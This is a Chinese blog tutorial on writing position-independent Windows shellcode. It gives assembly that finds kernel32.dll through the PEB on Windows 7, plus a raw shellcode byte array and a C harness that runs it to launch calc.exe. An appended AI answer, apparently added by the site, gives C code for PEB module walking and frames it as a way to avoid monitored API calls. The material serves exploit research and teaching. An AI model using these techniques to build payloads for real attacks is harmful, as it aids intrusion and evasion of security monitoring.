【原创】Win 7下定位kernel32.dll基址及shellcode编写

 为了使shellcode在多种操作系统平台下都可以正常运行,就不得不动态的定位kernel32.dll的基地址。而被广泛使用的一种方法是通过TEB/PEB结构获取kernel32.dll基地址,我个人第一次接触是通过绿盟月刊的一篇文章“通过TEB/PEB枚举当前进程空间中用户模块列表”方才知道这种被众多编程人员使用的方法。至于这个方法的最原始出处该文作者也未提及。只得知29A杂志也有大量使用该技术。这种方法适用于除Win7以外的所有windows操作系统包括95/98/ME/NT/2K/XP,大小只有34 bytes,下面是其原理及实现代码;
      更详细的知识大家可以参考snowdbg大牛的文章Windows下的shellcode剖析浅谈http://bbs.pediy.com/showthread.php?t=99007
      利用PEB结构来查找kernel32.dll的原理:FS段寄存器作为选择子指向当前的TEB结构,在TEB偏移0x30处是PEB指针。而在PEB偏移的0x0c处是指向PEB_LDR_DATA结构的指针,位于PEB_LDR_DATA结构偏移0x1c处,是一个叫InInitialzationOrderModuleList的成员,他是指向LDR_MODULE链表结构中,相应的双向链表头部的指针,该链表加载的DLL的顺序是ntdll.dll,kernel32.dl,因此该成员所指的链表偏移0x08处为kernel32.dll地址。
更详细的知识大家可以参考snowdbg大牛的文章Windows下的shellcode剖析浅谈http://bbs.pediy.com/showthread.php?t=99007
获取KERNEL32.DLL基址汇编实现代码:

;find kernel32.dll
find_kernel32:
    push esi
    xor eax, eax
    mov eax, [fs:eax+0x30]
    test eax, eax
    js find_kernel32_9x        ;win9x or nt
find_kernel32_nt:
    mov eax, [eax + 0x0c]
    mov esi, [eax + 0x1c]
    lodsd
    mov eax, [eax + 0x8]
    jmp find_kernel32_finished
find_kernel32_9x:
    mov eax, [eax + 0x34]
    lea eax, [eax + 0x7c]
    mov eax, [eax + 0x3c]
find_kernel32_finished:
    pop esi
    ret

但非常可惜的是这种方法在Win7下是不适用的,所以很高兴现在给大家分享国外网站上看到的一种新的方法来定位kernel32.dl的基地址,该方法可以在所有windows版本上适用!这种方法通过在InInitializationOrderModuleList中查找kernel32.dll模块名称的长度来定位它的基地址,因为"kernel32.dll"的最后一个字符为"\0"结束符。所以倘若模块最后一个字节为"\0"即可定位kernel32.dll的地址;

具体代码实现方法:
;find kernel32.dll
find_kernel32:
    push esi
    xor ecx, ecx
    mov esi, [fs:ecx+0x30]
    mov esi, [esi + 0x0c]
    mov esi, [esi + 0x1c]
next_module:
    mov eax, [esi + 0x8]
    mov edi,[esi+0x20]
    mov esi ,[esi]
    cmp [edi+12*2],cx
    jne next_module
    pop esi
    Ret
      通过我的测试,这种利用该方法编写的shellcode可以在32位平台Windows 5.0-7.0的所有版本上适用,下面是经我测试在win 7下实现执行calc.exe的shellcode,shellcode本身写的很粗糙只为验证该方法的可用性!

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
int main()
{
  unsigned char shellcode[219] = {
  0xE9, 0x96, 0x00, 0x00, 0x00, 0x56, 0x31, 0xC9, 0x64, 0x8B, 0x71, 0x30, 0x8B, 0x76, 0x0C, 0x8B, 
  0x76, 0x1C, 0x8B, 0x46, 0x08, 0x8B, 0x7E, 0x20, 0x8B, 0x36, 0x66, 0x39, 0x4F, 0x18, 0x75, 0xF2, 
  0x5E, 0xC3, 0x60, 0x8B, 0x6C, 0x24, 0x24, 0x8B, 0x45, 0x3C, 0x8B, 0x54, 0x05, 0x78, 0x01, 0xEA, 
  0x8B, 0x4A, 0x18, 0x8B, 0x5A, 0x20, 0x01, 0xEB, 0xE3, 0x37, 0x49, 0x8B, 0x34, 0x8B, 0x01, 0xEE, 
  0x31, 0xFF, 0x31, 0xC0, 0xFC, 0xAC, 0x84, 0xC0, 0x74, 0x0A, 0xC1, 0xCF, 0x0D, 0x01, 0xC7, 0xE9, 
  0xF1, 0xFF, 0xFF, 0xFF, 0x3B, 0x7C, 0x24, 0x28, 0x75, 0xDE, 0x8B, 0x5A, 0x24, 0x01, 0xEB, 0x66, 
  0x8B, 0x0C, 0x4B, 0x8B, 0x5A, 0x1C, 0x01, 0xEB, 0x8B, 0x04, 0x8B, 0x01, 0xE8, 0x89, 0x44, 0x24, 
  0x1C, 0x61, 0xC3, 0xAD, 0x50, 0x52, 0xE8, 0xA7, 0xFF, 0xFF, 0xFF, 0x89, 0x07, 0x81, 0xC4, 0x08, 
  0x00, 0x00, 0x00, 0x81, 0xC7, 0x04, 0x00, 0x00, 0x00, 0x39, 0xCE, 0x75, 0xE6, 0xC3, 0xE8, 0x19, 
  0x00, 0x00, 0x00, 0x98, 0xFE, 0x8A, 0x0E, 0x7E, 0xD8, 0xE2, 0x73, 0x81, 0xEC, 0x08, 0x00, 0x00, 
  0x00, 0x89, 0xE5, 0xE8, 0x5D, 0xFF, 0xFF, 0xFF, 0x89, 0xC2, 0xEB, 0xE2, 0x5E, 0x8D, 0x7D, 0x04, 
  0x89, 0xF1, 0x81, 0xC1, 0x08, 0x00, 0x00, 0x00, 0xE8, 0xB6, 0xFF, 0xFF, 0xFF, 0xEB, 0x0E, 0x5B, 
  0x31, 0xC0, 0x50, 0x53, 0xFF, 0x55, 0x04, 0x31, 0xC0, 0x50, 0xFF, 0x55, 0x08, 0xE8, 0xED, 0xFF, 
  0xFF, 0xFF, 0x63, 0x61, 0x6C, 0x63, 0x2E, 0x65, 0x78, 0x65, 0x00
};

printf("size of shellcode: %d\n", strlen(shellcode));
system("pause");
((void (*)())shellcode)();
return 0;
}
感谢所有朋友回复和意见以及riusksk的验证,漏洞方面我是新手,还需不断学习,我深信技术的提升总是通过一次一次的更新的认知!发现自己的不足,不断进步!这才是我一直关注看雪的原因!

 

<think>嗯,用户问的是如何在不使用GetModuleHandle函数的情况下获取kernel32.dll基址。这个问题看起来像是一个底层编程或者逆向工程相关的问题。首先,我需要确认用户的使用场景。可能用户是在进行一些需要绕过常规API调用的操作,比如编写shellcode或者进行某些安全研究,这时候不能直接调用系统提供的API,因为GetModuleHandle可能会被监控或者需要避免使用已知的函数。 接下来,我需要回想一下常见的替代方法。记得在Windows系统中,进程环境块(PEB)里存储了很多有用的信息,包括已加载模块的列表。通过访问PEB,可以遍历已加载的模块,找到kernel32.dll基址。这种方法不需要调用GetModuleHandle,而是直接通过内存结构来获取信息。 不过,用户可能对PEB结构不太熟悉,所以需要详细解释步骤。首先,如何获取PEB的地址?在x86架构下,FS寄存器指向TEB(线程环境块),而TEB的第一个成员指向PEB。对于x64架构,则是GS寄存器指向TEB。不过,用户可能需要一个跨平台的方法,或者针对特定架构的代码。 然后,遍历PEB中的Ldr结构,找到InMemoryOrderModuleList链表,这个链表包含了进程加载的所有模块。需要遍历这个链表,比较每个模块的名称,找到kernel32.dll对应的那个节点,然后获取其基址。 需要注意的问题包括不同Windows版本的结构偏移是否一致,比如PEB_LDR_DATA结构中的InMemoryOrderModuleList的位置可能会有变化。此外,直接操作内存结构可能存在兼容性问题,需要确保代码的健壮性。 另外,可能还有其他的方法,比如通过异常处理链或者TEB中的其他指针来获取kernel32基址,但最常用的方法应该是通过PEB和Ldr结构。 用户可能还需要示例代码,但考虑到他们可能是在编写shellcode,代码需要尽量简洁,避免依赖外部函数。因此,使用内联汇编或者直接通过指针操作来访问这些结构会更合适。 最后,需要提醒用户这种方法可能涉及未公开的结构,不同系统版本可能会有差异,存在兼容性风险,建议谨慎使用并进行充分测试。</think>在Windows系统编程中,若需要绕过`GetModuleHandle`获取kernel32.dll基地址,可通过PEB结构实现。以下是分步实现原理: 1. **获取TEB/PEB地址** ```c // x86架构实现 __asm { mov eax, fs:[0x30] // PEB地址存储在FS:[0x30] mov pPeb, eax } ``` 2. **遍历加载模块链表** ```c PPEB_LDR_DATA ldr = pPeb->Ldr; PLIST_ENTRY moduleList = &ldr->InMemoryOrderModuleList; PLIST_ENTRY moduleEntry = moduleList->Flink; while(moduleEntry != moduleList) { PLDR_DATA_TABLE_ENTRY module = CONTAINING_RECORD( moduleEntry, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks ); // 检查DLL名称 if(wcsicmp(module->BaseDllName.Buffer, L"kernel32.dll") == 0) { return module->DllBase; } moduleEntry = moduleEntry->Flink; } ``` 3. **关键数据结构** ```c typedef struct _PEB_LDR_DATA { DWORD Length; BOOLEAN Initialized; PVOID SsHandle; LIST_ENTRY InLoadOrderModuleList; LIST_ENTRY InMemoryOrderModuleList; // 要遍历的链表 LIST_ENTRY InInitializationOrderModuleList; } PEB_LDR_DATA, *PPEB_LDR_DATA; typedef struct _LDR_DATA_TABLE_ENTRY { LIST_ENTRY InLoadOrderLinks; LIST_ENTRY InMemoryOrderLinks; // 实际链表节点 PVOID DllBase; // 模块基地址 PVOID EntryPoint; // ...其他字段 UNICODE_STRING BaseDllName; // DLL名称 } LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY; ``` **注意事项:** - x64架构需改用`GS`寄存器访问PEB - 结构偏移可能随Windows版本变化(示例基于Win10 1903+) - 推荐配合`RtlInitUnicodeString`进行安全字符串比较 - 在shellcode中建议硬编码关键偏移量 这种方法通过直接解析进程内存结构,避免调用任何敏感API,常见于安全研究、反病毒引擎和某些特殊场景的低层开发。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值